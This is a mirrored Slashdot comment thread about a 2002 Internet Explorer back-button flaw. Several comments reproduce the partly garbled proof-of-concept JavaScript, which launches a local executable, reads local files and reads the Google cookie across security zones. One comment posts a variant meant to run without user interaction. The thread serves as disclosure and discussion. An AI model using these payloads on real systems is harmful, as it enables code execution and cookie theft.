Slashdot Mirror
Don't Hit That Back Button
Saint Aardvark writes: "From the Bugtraq mailing list comes this warning: 'Using the Back Button in IE is dangerous'. When hitting the back button, javascript links will be executed in the security zone of the last url viewed. Proof-of-concept included in the warning will execute minesweeper or read your Google cookies."
With every passing week, MS gives us more and more reasons not to use their POS browser. Whereas Mozilla is quickly becoming the undisputed king; tabbed browsing, filtering popups, better security options, and .. oh yeah, it's open source.
;-)
Take that, Microsoft.
Attack of the Back Button -- "Getting stuck on a web page can be painful. The back button doesn't always work. While there are many ways to escape from web pages, many users don't know the tricks. A company can stop hurting users by doing more testing, using proper development methods, and being aware of the issue."
How to Download YouTube Videos
So it may not matter.
http://arizona.diamondbacks.mlb.com crashes both IE6 and IE5.
I don't know why. Could be the address it crashes at has a hardware problem on my machine. But why is java poking around my hardware?
Java is insecure, Windows is insecure, the Internet is insecure, and everyone using them has always known that.
--Blair
I don't have anything special in my Google cookies and I like to play minesweeper.
Would a vulnerability still exist if a user wrote a page that redirected the browser to some page with malicious code in the target, and then, with a little bit of javascript set the location to javascript:history.back() (i.e. on mouse movement or whatever). Would this cause the javascript to run under the improper security settings, or does the user actually have to hit the "back" button?
<html>m 32/winmine.exe')">t em32/winmine.exe')">& gt;m / )">
// Use if not XP1 ';' )";
<h1>Press link and then the backbutton to trigger script.</h1>
<a href="javascript:execFile('file:///c:/winnt/syste
Run Minesweeper (c:/winnt/system32/winmine.exe Win2000 pro)</a><br>
<a href="javascript:execFile('file:///c:/windows/sys
Run Minesweeper (c:/windows/system32/winmine.exe XP, ME etc...)</a><br>
<a href="javascript:readFile('file:///c:/test.txt')"
Read c:\test.txt (needs to be created)</a><br>
<a href="javascript:readCookie('http://www.google.co
Read Google cookie</a>
<script>
// badUrl = "http://www.nonexistingdomain.se";
badUrl = "res:";
function execFile(file){
s = '<object classid=CLSID:11111111-1111-1111-1111-11111111111
s+= 'CODEBASE='+file+'></OBJECT>';
backBug(badUrl,s);
}
function readFile(file){
s = '<iframe name=i src='+file+' style=display:none onload=';
s+= 'alert(i.document.body.innerText)></iframe&g t;';
backBug(badUrl,s);
}
function readCookie(url){
s = '<script>alert(document.cookie);close();< "+"/script>';
backBug(url,s);
}
function backBug(url,payload){
len = history.length;
page = document.location;
s = "javascript:if (history.length!="+len+") {";
s+= "open('javascript:document.write(\""+payload+"\")
s+= ";history.back();} else '<script>location=\""+url
s+= "\";document.title=\""+page+"\";<"+"/script> ';";
location = s;
}
</script>
</html>
Q: Internet Explorer has a lot of security bugs. What do I do?
A: Install Mozilla.
Q: Windows has a lot of security bugs. What do I do?
A: Install Linux.
Q: Somebody cracked into my default installation of Red Hat 6.2. What do I do?
A: Didn't you RTFM? Everybody knows that you have to keep patching the system to keep people out of it! Why don't you go to Windows, dumbass?
If they had waited til tomorrow, they'd have known about M$'s fix for this dangerous security hole. SP3 for IE6 patches it up fine though. That's right, when you mouseover the back button, a popup text alerts you that it might be dangerous (that M$ can't be held responsible for damages resulting from its use?). Also, the "Safe Back Button" is now next to it, but to get it out the door in time, they've had to rush. Yes folks, it uses the exact same codebase as the back button, and no, I don't see that as a problem. Besides, if it is, they'll fix it with SP4, and the "Really Safe Back Button". Right along side the other two, for backward compatibility.
I copied the source from the (now Slashdotted) page and created an HTML file at http://www.eg.bucknell.edu/~ekrout/IE_Hack.html for those of you with IE to test it out. If you want, reply to this post and let everyone know if it works with your browser, Windows version, etc.
This is a very troubling security hole for Windows users who prefer IE (99.7% of them).
Founder, monolinux
If you celebrate Xmas, befriend me (538
Back in 1999, when the dot-coms were flying high and my company resembled an Internet startup (although we had been in business since 1992), we hastily set up new offices and cubicles with little regard for information security. After all, what was the worst that could happen - an email worm? Well, we quickly found out: a malicious hacker had targeted our company, and sent an email to "all @" my domain containing a link to a supposed Yahoo News story. Unfortunately, this link sent the employees to a malicious site that caused their insecure IE browsers to yield control of nearly every Windows PC in the company to the intruder. They stole and destroyed much important data, and took over a week of nonstop unpaid overtime to fix things.
A few weeks after the incident, our vice president of operations mandated a Mozilla-only policy. Employees were forbidden from running IE, Lynx (another notoriously insecure browser), and Konqueror (which crashed constantly anyway). Since that time, we have had zero browser related security issues, and employees waste far less time surfing the web, mainly because a lot of time-wasting sites only work in Microsoft standards-compliant browsers. Converting to Mozilla has been a win-win situation, and I fully expect the same to be happening across America after this latest IE security breach. Enough is enough; we need to take back control of our networks.
"Microsoft contacted 12 Nov 2001, additional information given 25 Mar 2002."
That's pretty long time (5-6 months, too lazy to figure out the actual number of days etc.) that Microsoft has done nothing (at least not a fix). Especially because this overlaps the time when they decided to make their people go to security workshops (or some such). If they can't even fix a known, reported bug in the security how can they find them on their own and fix them? Or not write them in the future?
Oh yeah, it'd be nice to know if I can get around this by doing "right-click" / "back" or if that is affected and not JUST the toolbar.
No sig for you.
That assumes you have a support contract so they'll pay you any attention at all. Good luck simply getting the "feedback" page so you can submit a bug (which no one will ever look at.)
" 'Using the Back Button in IE is dangerous'." - since when was using anything in IE safe? ;o)
Video Game cheats, hints a
Other then just clicking on the MS link, is there a site devoted just to the fuckups of MS? From calling the GPL cancer to dumb ass bugs like this, I would love a good site so that every time I see a post on shacknews that says "People just hate MS because everyone hates them, Windows 98 was fine and worked great for me"
The ultimate network admin tool needs HELP!
Bench the latest Mozilla build (turn off debugging and turn on optimization, just like a normal release build) and post that again. Of course, to really shine, run it on Linux or a free BSD.
Seriously, it's fast and its implementation of little things like CSS (which as far as I'm concerned is the future of online content) is light years ahead if IE anyways.
Then again, you might be interested to know that as of IE 5.5, IE was backported from the Macintosh version. That's right, the MS-IE-Mac-port team did it so much better that they backported it to Windows. That's where the speed and decent standards support came from!
I think that this goes to show that Microsoft doesn't re-write something from scratch on purpose. They had to force their Mac team to basically do so (because, like, it's IE not on Windows, you have to redo a bunch of stuff) before they figured out that they needed to reimplement. The sad thing is that they don't seem to be willing to do it where it counts, no matter how "security focused they become" they don't ever figure out that it's impossible to effectively rewrite Windows "a piece at a time".
I think Mauve has the most RAM. --PHB (Dilbert Comic)
At first I thought wuh? But of course I was in Mozilla, so I didn't see the problem. IE executed it exploit right away.
Free Software ought to get better press from this, as it underscores a major truism.
In Free Software, new versions are generally made and released due to added functionality or fixed bugs. Anything else is a waste of time for the programmers, right?
With the exception of a very huge vulnerability that was finally fixed with IE SP2 (though who knows what else that contained), new software versions from Microsoft seem due to an entirely different set of reasons, like:
- breaking more fledgling standards
- making news
- embracing/extending
- press releases
- etc
" I still can't figure out why people are using IE, seriously."
1)Bundled....people are sheep.
2)Bundled.....a lot of people dont have the band or the patience to do a lot of downloading (AOL users on dialup)
3)Bundled...on a corporate win2k desktop where the user just logins in and cant really install much in the way of software...see 1) s/pc support personal/people
-jef
http://diesel.2y.net/mine.htm
my McAfee VirusScan already checks for this bug.
THERE IS NO DATA. THERE IS O
If you read the exploit, you would see why this would not be possible.
You do not need to actually press the button, but you need to do it from a trusted page.
I'm a concientious
When I spent hours in labs browsing with Netscape 2.0...
When a webpage wasn't something you had to figure out how to escape...
When 'Back' meant back...
When there was just smooth uninterrupted navigation, and no pop-ups or banners...
When people could say pretty much say anything anywhere, no DMCA...
... remember that?
The coolest voice ever.
Would it be possible for a malicious page to load a trusted page in another frame, pause for it to load, then execute a back() in that frame? There are loads of things that javascript isn't allowed to do in a frame from another website, but is back() among them?
If MS had responded back in November when he made the sploit known, or if they had even thought once about security when designing IE, or if they had any kind of decent security model in the OS, or, or, or... then this never would have happened in the first place and MS wouldn't have to patch the barn door after the horse had left. But don't blame the guy who discovered this by trotting out that "don't tell anyone about the security hole until the vendor can fix it" pablum. Security through obscurity isn't, especially when that obscurity is driven my the needs of the marketing group.
You find a hole, you do due dilligence, they don't respond (he gave them months to fix it fer cryin' out loud), you publish. Then, most likely, the vendor publishes a fix based on the real needs of users and not the perceived needs of some business unit looking at a bottom line.
It boggles my mind that one could have a machine rooted simply by browsing the web. A die-hard MS nut at work today was giving me grief over the fact that Red Hat has "published" 500MB of "updates" to "Linux" since version 6.2 and how could the OS be so insecure as to need that many updates... I didn't even have the energy to respond. And I'm all for people running with whatever works for them, but at least I know for a fact that Opera on my machine runs in userland and won't get me rooted. And hopefully, using your favorite browser won't mean data loss and/or a re-image of the OS as well.
But to blame the guy who discovered it? I mean, honestly, for fsck's sake: we're talking about a web browser, you know? Completely compromising a machine via a back button? And it's been known for five months?!? At least MS could tell users to run another browser until they can fix the issue. Or turn scripting off. Or whatever. The fact that it could happen in the first place is just obscene. Or criminal. MS leaves a bad taste in my mind sometimes...
-B
Ash and Hickory, straight-grained and true, make excellent bludgeons, dandy for the cudgeling of vegetarians.
I tried to reply to say "At least slashdot doesn't have any bugs in it", but the reply button wasn't working...
ok then your [sic] infringing on my copyright! Could you as [sic] me next time before STEALING my comments for your own?
For those not aware of his problem, here's a synopsis. Mozilla will parse a URL of the form "data:content/type;encoding,rawdata and treat it as a file of the type given. For example, the URL "data:text/html;identity,<meta http-equiv="refresh" content="0;http://www.google.com/">" will create an HTML page that will immediately shunt you to google.com. Open up Mozilla and paste that URL in if you don't believe me. Using an encoding type of "base64", images, data files and even executables can be hidden inside a URL. Trolls have already exploited this numerous times for mundane things like embedding goatse.cx links; imagine if some malicious hacker were to design a page with a trojan .exe or shellscript embedded in an innocuous-looking URL!
While "data:" URLs can be filtered out with Proxomitron or avoided by careful scanning of the status bar before clicking any link, I think such a glaringly wide target for abuse doesn't belong in any project past the alpha-test stage, much less one that is getting ready to make a highly-publicised 1.0 release in the upcoming weeks. Until this hole is patched, I would recommend Konqueror to you. It no longer "crash[es] constantly anyway", as you put it; the 3.0 release is incredibly stable, supports made-for-IE sites much better than Moz, and also has more than adequate standards support. I would suggest rethinking your Mozilla deployment strategy and giving Konq another go.
Loneliness is a power that we possess to give or take away forever
I found the same bug in Mozilla last summer while I was working at Netscape. My boss fixed it within a week, so versions after Mozilla 0.9.3 did not have the bug. It was bug 88167 if you're interested. I'm not sure why I didn't notice that IE was vulnerable as well. Anyone want to go through old Mozilla security holes and see how many of them affect IE 6?
Anyway, keep using that Back button. If you're using IE to browse warez/porn, you have more to worry about than someone looking at your cookie for another site. An attacker could just copy the IE exploit of the week from
http://jscript.dk/unpatched/. I believe that page has had current IE security holes that allow running arbitrary instructions for two months straight. (That means you can keep up with the latest IE patches, but if an attacker reads jscript.dk and can get you to click a link in AIM or read a message in OE, the attacker wins.)
By the way, what's with IE turning every cross-domain hole into a full remote compromise by letting sites link to res: urls? Current versions of Mozilla block links to chrome/res and even file, so a cross-domain hole doesn't even let sites read local files.
The shareholder is always right.
1)Bundled....people are sheep.
2)Bundled.....a lot of people dont have the band or the patience to do a lot of downloading (AOL users on dialup)
3)Bundled...on a corporate win2k desktop where the user just logins in and cant really install much in the way of software...see 1) s/pc support personal/people
I don't really think so.
Up until recently (i.e. Moz and Opera maturing in to decent browsers) IE was the best game in town, it was just an added bonus that it came bundled.
Netscape 4.x has been a joke since IE's renderer got good (around 4.5, I'd say), and Netscape 6.0 release bugs scared a lot of people off.
Most people have never even heard of Opera.
However, if the new browsers keep improving, and IE holes keep appearing with this kind of severity, I can see people downloading other browsers, just like they used to.
But really, until late last year, IE, in all it's mediocrity, was still the best for most people's browsing.
It's reasonably stable, reasonably fast and renders pages reasonably well.
There was no incentive to switch to something either obselete (old Netscape), slow (new Netscape), buggy (Mozilla), or pretty much unknown (Opera).
There might be now.
C-X C-S
Read, people... Read, then make comments. It's not that difficult.
Here is a way do disable this nasty bug. It should work in all affected versions of IE:
1. Right click the toolbar, and select "Customize"
2. Select "Back" in the list marked "Current toolbar buttons"
3. Click the "Remove" button.
4. Click close.
There! Now that bug has been squashed. I suggest you implement this in all corporate deployments of IE pronto.
the more i love my mac. none of this did a bloody thing on osx / ie 5.1.4
maybe it's the fix we got today, though
"Win treats sysadmins better than users. Mac treats users better than sysadmins. Linux treats everyone like sysadmins."
Even if an executable were encoded in the link would the end user not be simply warned that they are attempting to download an executable, as with any other URL that served them an executable?
It's only a security hole if delivering the content via the data URL is treated differently than getting it via an http, ftp or javascript one.
Boffoonery - downloadable Comedy Benefit for Bletchley Park
.. do a little something like this:
m 32/net send * \"HI EVERYBODY IN THE OFFICE! I AM LOOKING AT PORN!\"')">CLICK FOR BOOBIES</a>
<a href="javascript:execFile('file:///c:/winnt/syste
I want Mozilla to give me the netscape finger.
Mozilla gives you the system finger cursor-shape when you :hover over a link. If you want Mozilla to give you the Netscape finger, or even the middle finger, you can select any .cur file in Start > Settings > Control Panel > Mouse > Pointers.
Will I retire or break 10K?
Good thing security is MicroSoft's number one focus now!
7 November 2006: The day Americans realized corruption and incompetence weren't addressing 11 September 2001
Step One: Move the mouse pointer to the toolbar containing the forward and back buttons. Point to any part of the toolbar EXCEPT either the forward or back buttons. Empty areas or other buttons are fine.
Step Two: Use the mouse button you have configured to bring up the context menus. On most systems this will be the right mouse button and is often refered to as "Right Clicking".
Step Three: From the context menu select the option CUSTOMIZE...
Step Four: In the Customize Toolbar window will be two boxes full of items. Use the scroolbar to browse the contents of the right-most box and look for the button that says "BACK". Highlight the "BACK" button item.
Step Five: FNORD
Step Six: Press the REMOVE button between the left and right item boxes.
Step Seven: Press the upper right most button marked "CLOSE".
Your browser should now be immune to this exploit. Share and Enjoy.
"Everything you know is wrong. (And stupid.)"
Moderation Totals: Wrong=2, Stupid=3, Total=5.
First off, had you bothered to do any research, RFC 2397 defines the data: URL scheme--this isn't some Mozilla debug thing, as you foolishly asserted. Second, you haven't actually demonstrated how this behaves differently from a normal URL. If you click http://this.is.a.url/ and the document at the end has a meta refresh to goatse.cx, how is that different from a data: URL (other than the data:URL being easier to spot)? Same deal with a shell script or .exe; it won't autorun any more than if you clicked on a link and got in through HTTP.
/. moderation in succumbing to a good line of BS.
I'm not sure whether you actually believe you've found a vulnerability, or are just trolling for Konqueror; either way, it illustrates the weakness of
I think you're referring to ECMAScript formerly called JavaScript
First it was LiveScript, then when "Java" became a buzzword, Netscape changed its syntax to resemble that of a brace language (C, Perl, or the Java programming language) and changed its name to JavaScript. "ECMAScript" is the generic name, created when the underlying language (without any specific DOM) was submitted to the European standards body ECMA; "JavaScript" is Sun's trademark licensed to Netscape, reflected in the media type for ECMAScript source code (text/javascript).
Will I retire or break 10K?
Maybe the "Act" they performed was mostly theatrical.
Kindness is the language which the deaf can hear and the blind can see. - Mark Twain
Opera cured that problem quite effectively. Since I started using it as my main browser, I can't remember finding a page where back wouldn't work properly. It ignores scripts that try to take it over, and it tracks documents-in-frames properly too, you can go forward and back independently in different frames on framed pages.
=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Friends don't let friends enable ecmascript.
I'm not sure about the other (commercial or open source) browsers. However, I use a Mac OS X Cocoa broswer, called Omniweb [http://www.omnigroup.com/products/omniweb/]. It has a feature where the user can stop loading individual parts of a page. For instance, say you're loading a page with 60 images. Normally, you'd click the stop or back button in a browser. In Omniweb, the text would still load - but you could stop loading some of the larger images.
All of them are being stripped out? What if you escape them?
-clee
The exploit also works in IE5.5.
"Rating: Medium because user interaction is needed"?! What's the chance that the user will hit the back button when they think it will take them back to a porn image gallery, 80%?
The shareholder is always right.
Damn it! I went to the test page and tried all the links with the back button. Not one of them worked. Not a one. There is a bug in the bug when it comes to Mac OS X and Internet Explorer. Once again as a Mac user, I am getting deprived of the same experience that Windows users get with Internet Explorer.
Strange women lying in ponds distributing swords is no basis for a system of government.
This latest version - version 5.1.4 - resolves all potential security vulnerabilities in previous versions of Internet Explorer 5. This includes vulnerabilities that might have caused Internet Explorer to stop responding or caused a memory problem that compromised the security of the computer.
However, I rechecked the back button bug that Mac OS X users experience where minesweeper will not launch on the test pages. Mac OS X IE v5.1.4 does not resolve the user experience issue for Mac users.
Strange women lying in ponds distributing swords is no basis for a system of government.
Yes,I saw the joke. I liked it too. I just used your post to vent something that's been bugging me for a long time. Your post was the minor imperfection on the beer glass of the world which allowed the seed of my thought to find purchase and rise to the surface as a big festering bubble of disgust. How very Zen. I think I'll go write Haiku...
Seriously, though, I once had to spend a week testing alternate browsers so that I could develop a test plan to replace IE on the machine in our NOC (after one of them got rooted when an operator was browsing warez and pr0n sites). I'm bitter about IE. And I had a nasty day at work (wrestling with CorporateTime's horrible attempt at an API, if you must know) so I had to vent. And for that I must thank you. I feel much better without all that painful gas pressure.
-B
Ash and Hickory, straight-grained and true, make excellent bludgeons, dandy for the cudgeling of vegetarians.
The flaw can be exploited *with out* user interaction ,, use about: and use a body-onload javascript to execute the back button ,, poc html page is attached. u know what this means :P .
// Use if not XP
' )";
----cut here---
Press link and then the backbutton to trigger script.
Run Minesweeper (c:/winnt/system32/calc.exe Win2000 pro)
Run Minesweeper (c:/windows/system32/calc.exe XP, ME etc...)
Read c:\test.txt (needs to be created)
Read Google cookie
// badUrl = "http://www.nonexistingdomain.se";
badUrl = "about: ";
function execFile(file){
alert (badUrl);
s = '';
backBug(badUrl,s);
}
function readFile(file){
s = '';
backBug(badUrl,s);
}
function readCookie(url){
s = 'alert(document.cookie);close();';
backBug(url,s);
}
function backBug(url,payload){
len = history.length;
page = document.location;
s = "javascript:if (history.length!="+len+") {";
s+= "open('javascript:document.write(\""+payload+"\")
s+= ";history.back();} else 'location=\""+url
s+= "\";document.title=\""+page+"\";';";
location = s;
}
---cut here---
_
Is a fix for the back button exploit really as important as something like the following?
Q310510: Recommended Update Download size: 220 KB, 1 minuteThis update resolves the "Playback and Copy-Protection Issues When You Try to Play the Snow White and the Seven Dwarfs DVD Movie" issue in Windows XP and is discussed in Microsoft Knowledge Base (KB) Article Q310510. Download now to be able to play Disney's "Snow White and the Seven Dwarfs" Platinum Collection DVD.
For more information about this issue, read Microsoft KB Article Q310510. (This site may be in English.)
Get a newer version of mozilla and go into preferences/advanced/scripts and windows.
Turn off the "open unrequested windows" tickbox. Bingo. You now have to click a link before the popup/under will open. Sites can't open them for you.
%systemroot%\system32\winmine.exe
Paste that into run (in Windows, obviously).
I see no reason why an exploit couldn't do that.
I have not seen a popup add in years. I was not vulnerable to the .eml bugs. I laugh at websites that are blank for people like me who have java script turned off. I have always thought that Java Script, captive X etc were the scourge of the internet.
Ever since we have had the option I have used the built in security functions of IE. Tools/Internet Options/Security
Turn off everything for your internet zone. Add all your sites that you visit regularly to "Trusted Sites" and enable all the bells and wistles you want.
If a site breaks because they have not done simple checks to see if you have java script enabled then screw them and move on to a site that is run by someone who has an element of style and thoroughness.
Here is a wish list I do have for IE though. One power tool I have allows you to toggle images on and off with a click . I would like such a power tool that would enable/disable java script with a click and another to add trusted zones on the fly. If anyone out there has the coding capability I think you may have something.
Buffer overflows... these are implementation-specific bugs and should be easily patchable. However, MS put a lot of functionality into IE (for the most part because it's bundled) and when you look at the separate parts of all this functionality, you don't see exploitable stuff. However, combining parts of the functionality CAN LEAD to a situation that wasn't forseen, and perhaps will lead to a vulnerability.
It's easy to say "Crap!" but it takes a wicked mind to combine the right parts of the functionality of a program to create a hole, a mindset which is obviously not present under the IE designers. (but which should be though).
As a true microsoftie I more and more begin to realize that the bundling should be undone, so the set of functionality build into the webbrowser is simply focussed on what it should do: rendering pages.
Using another browser is not the answer however. The only browser that comes close to IE6 is Netscape/Mozilla, however these browsers are also packed with features you'll probably never need but CAN probably be used to create a hole when combined with other functionality in the program.
Never underestimate the relief of true separation of Religion and State.
Access denied error message. NT 4.0 wirh service pack 6, IE 5.00.2014.0216.
I've been waiting for commercial browsers to subtly
manipulate information for quite a while.
Maybe sites served from Apache will somewhen load
0.2s slower then the ones serves from IIS.
Only on Explorer of course.
This isn't quite the same thing, but you can block individual sites from popping up windows on entry to the site by putting something like the following in your preferences file (user.js):
;. ope n","noAccess") ;
user_pref("capability.policy.popupsites.sites", "http://www.morningstar.com/")
user_pref("capability.policy.popupsites.Window
user_pref("dom.disable_open_during_load", true) ;
I've said this before, but a quick glance through the first few comments at threshold 2 didn't reveal anyone else having said it yet, so....
TURN OFF JAVASCRIPT, YOU IDIOTS!
Javascript is the Incarnation of Evil on this plane. It is the Scion of Satan. It is the Bastard of Beelzebub. Javascript blew up the Twin Towers on September 11. Javascript is what killed your goldfish when you were a kid.
(We now return you to your regularly scheduled "my browser is better than your brower" war.)
I tried the various POC HTML pieces in this thread and they all trigger my antivirus (F-secure) which sends me off to get Microsoft Security Bulletin MS01-20
This bulletin does not seem to me to have any relevance to the scripting problem we're talking about. However, the exploit does not work on my version of IE6, even if I tell F-secure to ignore the alert.
"Don't belong. Never join. Think for yourself. Peace." V.Stone, Microsoft Corporation
The more important issue here is that this bug eliminates the ability to use the "Forward" button too. If you don't go back, you can't go forward!
Congrats, MS, on killing two buttons with one bug.
If you clicked the link to read the article, you can't hit the 'back' button to return to slashdot...
Denver Isuzu Suzuki
..I even USED the back button in my browser. Alt or control-left works for me! Down with mice!
;) )
(yeah, I know, same triggers.
Q: Somebody cracked into my default installation of Red Hat 6.2. What do I do?
A: Install Debian.
Chuck was talking about data: URLs, not this IE hole.
The shareholder is always right.
"install ZoneAlarm [zonealarm.com], and make sure not to give net access to any MS apps "
Tiny Personal Firewall is vastly superior and completely free for personal use. I combined it with TCPTunnel for Win32 (for port forwarding). The two products work fine together and can easily protect a whole lan if ICS is used under XP or 2000.
The source is available for the port forwarder. The firewall is ICSA certified.
graspee
That's surprising. Perhaps someone should document this phenomenon of not being able to throw huge amounts of people at a complex software project late in its development with any expectation of fixing it quickly. :P
Ya know, I think that they would have been better off if they had spent the last two months assigning everyone a book report on The Mythical Man-Month and then realizing that this change will have to be a permanent course correction instead of a short-term fix.
Best. Comment. Ever. Enjoy!
Sigh. The response to stories like this is why I've stopped reading Slashdot for the most part. I used to read it every day, and now I go for months at a time without even looking at the front page.
Yes, there is a security problem in IE. Yes, there have been many such problems in the past. There have also been security problems with browsers for Linux. The discussion goes like this:
Linux Newbie: Microsoft should be put out of business! They don't care about security! There are hundreds of security holes in Windows and Internet Explorer!
Level-headed Computer User: But there have been security holes in Linux and software for Linux.
Linux Newbie: But Linux is a more secure operating system! You can't do as much damage under Linux because of file permissions and other security measures.
Level-headed Computer User: But we're talking about exploits. By definition an exploit is something that you were never supposed to be able to do in the first place.
Linux Newbie: Down with Microsoft! Bill Gates sucks!
I just copied the source onto my machine and tried to access it. McAffee pops up saying something along the lines of "The file that is trying to execute has a variant of the Exploit.something trojan".
.vir extension added to it. Changing the name of that file doesn't remove the .vir extension.
It then gives the option to terminate it or continue. I told it to continue since I wanted to see if patched IE 5.5 is vulnerable.
I cannot get the window to pop up again, but the scanner console says there was an infected file scanned, and every time I try to copy, rename, move, or create a file with the same contents, the file gets a
In related news, Cern is reporting that "File, Open" is generally considered a huge security risk in all versions of IE.
Love many, trust a few, do harm to none.
I tried it...
it does work when the page is on my hard drive,
but it doesn't work when I upload the page to the internet...
In other words, what the parent posted runs in the correct security zone, no problem there
Personally I prefer E:\WINNT where D: is the CD-ROM. ;)
It also messes with some stuff you don't really want running.
One more degree of separation
Microsoft Windows XS ;)
( for Xtra Secure